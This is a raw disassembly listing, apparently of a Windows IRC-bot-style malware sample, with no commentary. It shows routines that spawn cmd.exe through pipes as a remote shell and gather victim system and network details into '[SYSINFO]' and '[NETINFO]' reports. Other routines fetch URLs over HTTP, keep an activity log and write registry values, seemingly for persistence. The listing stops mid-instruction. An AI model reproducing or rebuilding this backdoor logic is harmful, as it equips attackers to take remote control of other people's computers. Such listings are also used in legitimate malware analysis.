sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A71A proc near ; CODE XREF: sub_40B459+99p ; sub_40CD3A+5167p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40A4D6 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43C60C ; SearchPathA test eax, eax jz loc_40A814 lea eax, [ebp+var_1C] mov edi, dword_421108 push esi push eax lea eax, [ebp+var_C] xor ebx, ebx push eax lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_40A814 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_40A814 mov edi, dword_421104 push 3 push esi push esi push offset dword_43C898 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_421100 ; DuplicateHandle test eax, eax jz short loc_40A814 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_415390 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_415390 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43B188 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_4210EC ; CreateProcessA test eax, eax jnz short loc_40A81C loc_40A814: ; CODE XREF: sub_40A71A+2Fj ; sub_40A71A+5Cj ... or eax, 0FFFFFFFFh jmp loc_40A8CA ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A71A+F8j push [ebp+var_4] mov edi, dword_42106C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43C894, eax mov eax, [ebp+var_8] mov dword_43C89C, eax mov eax, [ebp+var_2C] mov dword_43C890, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43C8D4, eax jz short loc_40A856 push [ebp+arg_4] jmp short loc_40A857 ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A71A+135j push ebx loc_40A857: ; CODE XREF: sub_40A71A+13Aj push offset dword_43C8A0 call sub_415316 pop ecx pop ecx push esi push 7 push offset dword_42B720 call sub_414DDA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4416D0[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40A5C5 push esi push esi call dword_42108C ; CreateThread cmp eax, esi loc_40A899: ; DATA XREF: seg001:00424F14o ; seg001:00424F58o ... mov dword_4416DC[edi], eax jnz short loc_40A8C8 call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset dword_42B6D8 push eax call sub_415316 lea eax, [ebp+var_378] push eax call sub_40B078 add esp, 10h loc_40A8C8: ; CODE XREF: sub_40A71A+185j xor eax, eax loc_40A8CA: ; CODE XREF: sub_40A71A+FDj pop edi pop esi pop ebx leave retn sub_40A71A endp ; =============== S U B R O U T I N E ======================================= sub_40A8CF proc near ; CODE XREF: sub_407075+74p ; sub_40A9D8+217p ... arg_0 = dword ptr 4 push esi push edi call dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_43C8D8 push 32h push esi call sub_41588A add esp, 18h mov eax, esi pop edi pop esi retn sub_40A8CF endp ; =============== S U B R O U T I N E ======================================= sub_40A922 proc near ; CODE XREF: sub_40A9D8+290p push ebx push esi push edi mov edi, 0F4240h loc_40A92A: ; CODE XREF: sub_40A922+2Fj ; sub_40A922+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_421060 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_417180 mov esi, edx mov ebx, eax test esi, esi ja short loc_40A92A jb short loc_40A959 cmp ebx, edi ja short loc_40A92A loc_40A959: ; CODE XREF: sub_40A922+31j push 0 push 64h push esi push ebx call sub_417100 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_40A9CC jb short loc_40A978 cmp edi, 50h jnb short loc_40A97D loc_40A978: ; CODE XREF: sub_40A922+4Fj push 4Bh xor edx, edx pop eax loc_40A97D: ; CODE XREF: sub_40A922+54j test ecx, ecx ja short loc_40A9CC jb short loc_40A988 cmp edi, 47h jnb short loc_40A98D loc_40A988: ; CODE XREF: sub_40A922+5Fj push 42h xor edx, edx pop eax loc_40A98D: ; CODE XREF: sub_40A922+64j test ecx, ecx ja short loc_40A9CC jb short loc_40A998 cmp edi, 37h jnb short loc_40A99D loc_40A998: ; CODE XREF: sub_40A922+6Fj push 32h xor edx, edx pop eax loc_40A99D: ; CODE XREF: sub_40A922+74j test ecx, ecx ja short loc_40A9CC jb short loc_40A9A8 cmp edi, 26h jnb short loc_40A9AD loc_40A9A8: ; CODE XREF: sub_40A922+7Fj push 21h xor edx, edx pop eax loc_40A9AD: ; CODE XREF: sub_40A922+84j test ecx, ecx ja short loc_40A9CC jb short loc_40A9B8 cmp edi, 1Eh jnb short loc_40A9BD loc_40A9B8: ; CODE XREF: sub_40A922+8Fj push 19h xor edx, edx pop eax loc_40A9BD: ; CODE XREF: sub_40A922+94j test ecx, ecx ja short loc_40A9CC jb short loc_40A9C8 cmp edi, 0Ah jnb short loc_40A9CC loc_40A9C8: ; CODE XREF: sub_40A922+9Fj xor eax, eax xor edx, edx loc_40A9CC: ; CODE XREF: sub_40A922+4Dj ; sub_40A922+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_40A922 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9D8 proc near ; CODE XREF: sub_40CD3A+53E3p var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43B188 mov [ebp+var_CC], 94h call dword_42110C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40AA5F cmp [ebp+var_C4], ebx jnz short loc_40AA3B cmp [ebp+var_BC], 1 jnz short loc_40AA25 mov [ebp+var_4], offset a95 ; "95" loc_40AA25: ; CODE XREF: sub_40A9D8+44j cmp [ebp+var_BC], 2 jnz loc_40AADA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40AAAB ; --------------------------------------------------------------------------- loc_40AA3B: ; CODE XREF: sub_40A9D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40AA4D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40AAA2 ; --------------------------------------------------------------------------- loc_40AA4D: ; CODE XREF: sub_40A9D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40AA9B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40AAA2 ; --------------------------------------------------------------------------- loc_40AA5F: ; CODE XREF: sub_40A9D8+33j cmp [ebp+var_C8], 5 jnz short loc_40AA9B cmp [ebp+var_C4], ebx jnz short loc_40AA79 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40AAA2 ; --------------------------------------------------------------------------- loc_40AA79: ; CODE XREF: sub_40A9D8+96j cmp [ebp+var_C4], 1 jnz short loc_40AA8B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40AAA2 ; --------------------------------------------------------------------------- loc_40AA8B: ; CODE XREF: sub_40A9D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40AAA2 loc_40AA9B: ; CODE XREF: sub_40A9D8+7Cj ; sub_40A9D8+8Ej mov [ebp+var_4], offset dword_42B870 loc_40AAA2: ; CODE XREF: sub_40A9D8+73j ; sub_40A9D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40AADA loc_40AAAB: ; CODE XREF: sub_40A9D8+61j cmp [ebp+var_B8], bl jz short loc_40AADA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42B868 push eax call sub_415316 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40AADA: ; CODE XREF: sub_40A9D8+54j ; sub_40A9D8+D1j ... mov ax, word_42B864 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43C440 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_40AB13 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40AB13: ; CODE XREF: sub_40A9D8+12Cj push [ebp+arg_4] call sub_40A08A pop ecx push eax call dword_43C594 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_43C50C ; gethostbyaddr cmp eax, ebx jz short loc_40AB3C push dword ptr [eax] jmp short loc_40AB41 ; --------------------------------------------------------------------------- loc_40AB3C: ; CODE XREF: sub_40A9D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40AB41: ; CODE XREF: sub_40A9D8+162j lea eax, [ebp+var_3E4] push eax call sub_415316 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_421084 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_421080 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_421110 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4171E8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_40C21C push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40A8CF add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A08A pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40C10D pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40C10D pop ecx pop ecx push eax call sub_40A922 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41588A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40A9D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC8C proc near ; CODE XREF: sub_40CD3A+4388p ; sub_40CD3A+5411p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415390 add esp, 0Ch cmp dword_43C638, 0 jnz short loc_40AD00 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43C424 ; InternetGetConnectedStateExA test eax, eax jnz short loc_40ACE1 lea eax, [ebp+var_8C] push offset dword_42B8E4 push eax call sub_415316 pop ecx pop ecx loc_40ACE1: ; CODE XREF: sub_40AC8C+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_40ACF9 push offset dword_42B8DC loc_40ACEF: ; CODE XREF: sub_40AC8C+72j push eax call sub_415316 pop ecx pop ecx jmp short loc_40AD1F ; --------------------------------------------------------------------------- loc_40ACF9: ; CODE XREF: sub_40AC8C+5Cj push offset dword_42B8D8 jmp short loc_40ACEF ; --------------------------------------------------------------------------- loc_40AD00: ; CODE XREF: sub_40AC8C+28j mov esi, offset off_42B8D4 lea eax, [ebp+var_8] push esi push eax call sub_415316 lea eax, [ebp+var_8C] push esi push eax call sub_415316 add esp, 10h loc_40AD1F: ; CODE XREF: sub_40AC8C+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A08A pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41588A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40AC8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD52 proc near ; DATA XREF: sub_40CD3A+459Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42BA30 call sub_415390 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_415390 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_415390 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_415390 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_415390 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_415B10 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43C45C ; InternetCrackUrlA test eax, eax jz loc_40AEF2 cmp [ebp+var_34], ebx jbe short loc_40AE29 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_416BE0 add esp, 0Ch loc_40AE29: ; CODE XREF: sub_40AD52+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40AE47 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_416BE0 add esp, 0Ch loc_40AE47: ; CODE XREF: sub_40AD52+DEj cmp [ebp+var_20], ebx jbe short loc_40AE61 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_416BE0 add esp, 0Ch loc_40AE61: ; CODE XREF: sub_40AD52+F8j cmp [ebp+var_18], ebx jbe short loc_40AE7B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_416BE0 add esp, 0Ch loc_40AE7B: ; CODE XREF: sub_40AD52+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43C504 call dword_43C528 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40AF08 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43C51C ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40AF0F push ebx push ebx push ebx push ebx push eax call dword_43C4D0 ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_40AEEB push offset dword_42BA00 jmp short loc_40AF1A ; --------------------------------------------------------------------------- loc_40AEEB: ; CODE XREF: sub_40AD52+190j push offset unk_42B9B0 jmp short loc_40AF1A ; --------------------------------------------------------------------------- loc_40AEF2: ; CODE XREF: sub_40AD52+B7j lea eax, [ebp+var_55C] push offset dword_42B97C push eax call sub_415316 mov esi, [ebp+var_C] jmp short loc_40AF20 ; --------------------------------------------------------------------------- loc_40AF08: ; CODE XREF: sub_40AD52+153j push offset unk_42B93C jmp short loc_40AF14 ; --------------------------------------------------------------------------- loc_40AF0F: ; CODE XREF: sub_40AD52+17Bj push offset unk_42B8F8 loc_40AF14: ; CODE XREF: sub_40AD52+1BBj lea eax, [ebp+var_55C] loc_40AF1A: ; CODE XREF: sub_40AD52+197j ; sub_40AD52+19Ej push eax call sub_415316 loc_40AF20: ; CODE XREF: sub_40AD52+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_40AF4D push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_412BD1 add esp, 14h loc_40AF4D: ; CODE XREF: sub_40AD52+1D6j lea eax, [ebp+var_55C] push eax call sub_40B078 pop ecx push esi call dword_43C588 ; InternetCloseHandle push [ebp+var_4] call dword_43C588 ; InternetCloseHandle push [ebp+var_1D8] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_40AD52 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF80 proc near ; CODE XREF: sub_40CD3A+42C1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_440948 mov edi, 0B8h loc_40AF94: ; CODE XREF: sub_40AF80+33j cmp byte ptr [esi], 0 jz short loc_40AFB7 push [ebp+arg_0] push esi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40AFB7 inc [ebp+var_4] add esi, edi cmp esi, offset dword_4414C8 jl short loc_40AF94 jmp short loc_40AFF9 ; --------------------------------------------------------------------------- loc_40AFB7: ; CODE XREF: sub_40AF80+17j ; sub_40AF80+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_440948[esi] push ebx call sub_415390 push 17h push [ebp+arg_0] push ebx call sub_416BE0 push 9Fh lea eax, dword_440960[esi] push [ebp+arg_4] push eax call sub_416BE0 add esp, 24h inc dword_42E870 pop ebx loc_40AFF9: ; CODE XREF: sub_40AF80+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40AF80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B000 proc near ; CODE XREF: sub_40CD3A+5551p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42BA40 push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h xor edi, edi mov esi, offset dword_440948 loc_40B02A: ; CODE XREF: sub_40B000+72j cmp byte ptr [esi], 0 jz short loc_40B065 lea eax, [esi+18h] push eax push esi push edi push offset dword_42BA34 lea eax, [ebp+var_200] push 200h push eax call sub_41588A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 2Ch loc_40B065: ; CODE XREF: sub_40B000+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4414C8 jl short loc_40B02A pop edi pop esi leave retn sub_40B000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B078 proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+32Cp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_42105C ; GetLocalTime mov ebx, offset dword_440910 mov edi, 80h mov esi, offset dword_43C910 loc_40B09A: ; CODE XREF: sub_40B078+3Dj cmp byte ptr [ebx], 0 jz short loc_40B0B1 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416BE0 add esp, 0Ch loc_40B0B1: ; CODE XREF: sub_40B078+25j sub ebx, edi cmp ebx, esi jge short loc_40B09A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41588A add esp, 28h pop edi pop esi pop ebx leave retn sub_40B078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0EC proc near ; CODE XREF: sub_407B36+148p ; sub_407CBD+15Cp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41732F lea eax, [ebp+var_80] push eax call sub_40B078 add esp, 14h leave retn sub_40B0EC endp ; =============== S U B R O U T I N E ======================================= sub_40B118 proc near ; CODE XREF: sub_40CD3A+5449p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43C910 xor ecx, ecx loc_40B11F: ; CODE XREF: sub_40B118+13j mov [eax], cl add eax, 80h cmp eax, offset dword_440910 jl short loc_40B11F cmp [esp+arg_C], ecx push esi mov esi, offset dword_42BA74 jnz short loc_40B14F push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_412BD1 add esp, 14h loc_40B14F: ; CODE XREF: sub_40B118+1Fj push esi call sub_40B078 pop ecx pop esi retn sub_40B118 endp ; =============== S U B R O U T I N E ======================================= sub_40B158 proc near ; CODE XREF: sub_4033B6+298p arg_0 = dword ptr 4 push esi mov esi, offset dword_43C910 loc_40B15E: ; CODE XREF: sub_40B158+27j cmp byte ptr [esi], 0 jz short loc_40B173 push [esp+4+arg_0] push esi call sub_409A63 pop ecx test eax, eax pop ecx jnz short loc_40B185 loc_40B173: ; CODE XREF: sub_40B158+9j add esi, 80h cmp esi, offset dword_440910 jl short loc_40B15E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40B185: ; CODE XREF: sub_40B158+19j xor eax, eax pop esi inc eax retn sub_40B158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B18A proc near ; DATA XREF: sub_40CD3A+54FCo var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40B1DD push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42BADC push eax push [ebp+var_11C] call sub_412BD1 add esp, 14h loc_40B1DD: ; CODE XREF: sub_40B18A+33j cmp [ebp+var_98], 0 jz short loc_40B1FD lea eax, [ebp+var_98] push eax call sub_41587F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40B1FD mov [ebp+var_8], eax loc_40B1FD: ; CODE XREF: sub_40B18A+5Aj ; sub_40B18A+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43C910 loc_40B206: ; CODE XREF: sub_40B18A+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40B260 cmp byte ptr [esi], 0 jz short loc_40B24F cmp [ebp+var_98], 0 jz short loc_40B235 cmp [ebp+var_4], 0 jnz short loc_40B235 lea eax, [ebp+var_98] push eax push esi call sub_409A63 pop ecx test eax, eax pop ecx jz short loc_40B24F loc_40B235: ; CODE XREF: sub_40B18A+90j ; sub_40B18A+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_412BD1 add esp, 14h loc_40B24F: ; CODE XREF: sub_40B18A+87j ; sub_40B18A+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_440910 jl short loc_40B206 loc_40B260: ; CODE XREF: sub_40B18A+82j lea eax, [ebp+var_31C] push offset dword_42BAAC push eax call sub_415316 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40B29A push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_412BD1 add esp, 14h loc_40B29A: ; CODE XREF: sub_40B18A+EEj lea eax, [ebp+var_31C] push eax call sub_40B078 push [ebp+var_18] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_40B18A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B9 proc near ; CODE XREF: sub_409D34+1Ep ; sub_40C574+341p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset dword_42C2D8 loc_40B2C9: ; CODE XREF: sub_40B2B9+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_42BB04[esi] push dword_42BB00[esi] call dword_43C508 ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_40B30A push [ebp+arg_0] call sub_415B10 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_43C578 ; RegSetValueExA jmp short loc_40B314 ; --------------------------------------------------------------------------- loc_40B30A: ; CODE XREF: sub_40B2B9+33j push ebx push [ebp+var_4] call dword_43C4C0 ; RegDeleteValueA loc_40B314: ; CODE XREF: sub_40B2B9+4Fj push [ebp+var_4] call dword_43C530 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_40B2C9 pop edi pop esi pop ebx leave retn sub_40B2B9 endp ; =============== S U B R O U T I N E ======================================= sub_40B32A proc near ; CODE XREF: sub_40B363+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_40B35C mov ecx, 0FFh push ebx loc_40B341: ; CODE XREF: sub_40B32A+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_421260[eax*4] xor esi, eax inc edx dec edi jnz short loc_40B341 pop ebx loc_40B35C: ; CODE XREF: sub_40B32A+Fj mov eax, esi pop edi not eax pop esi retn sub_40B32A endp ; =============== S U B R O U T I N E ======================================= sub_40B363 proc near ; CODE XREF: sub_40BBF7+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415BE9 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_415A08 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_40B3AE loc_40B388: ; CODE XREF: sub_40B363+37j xor 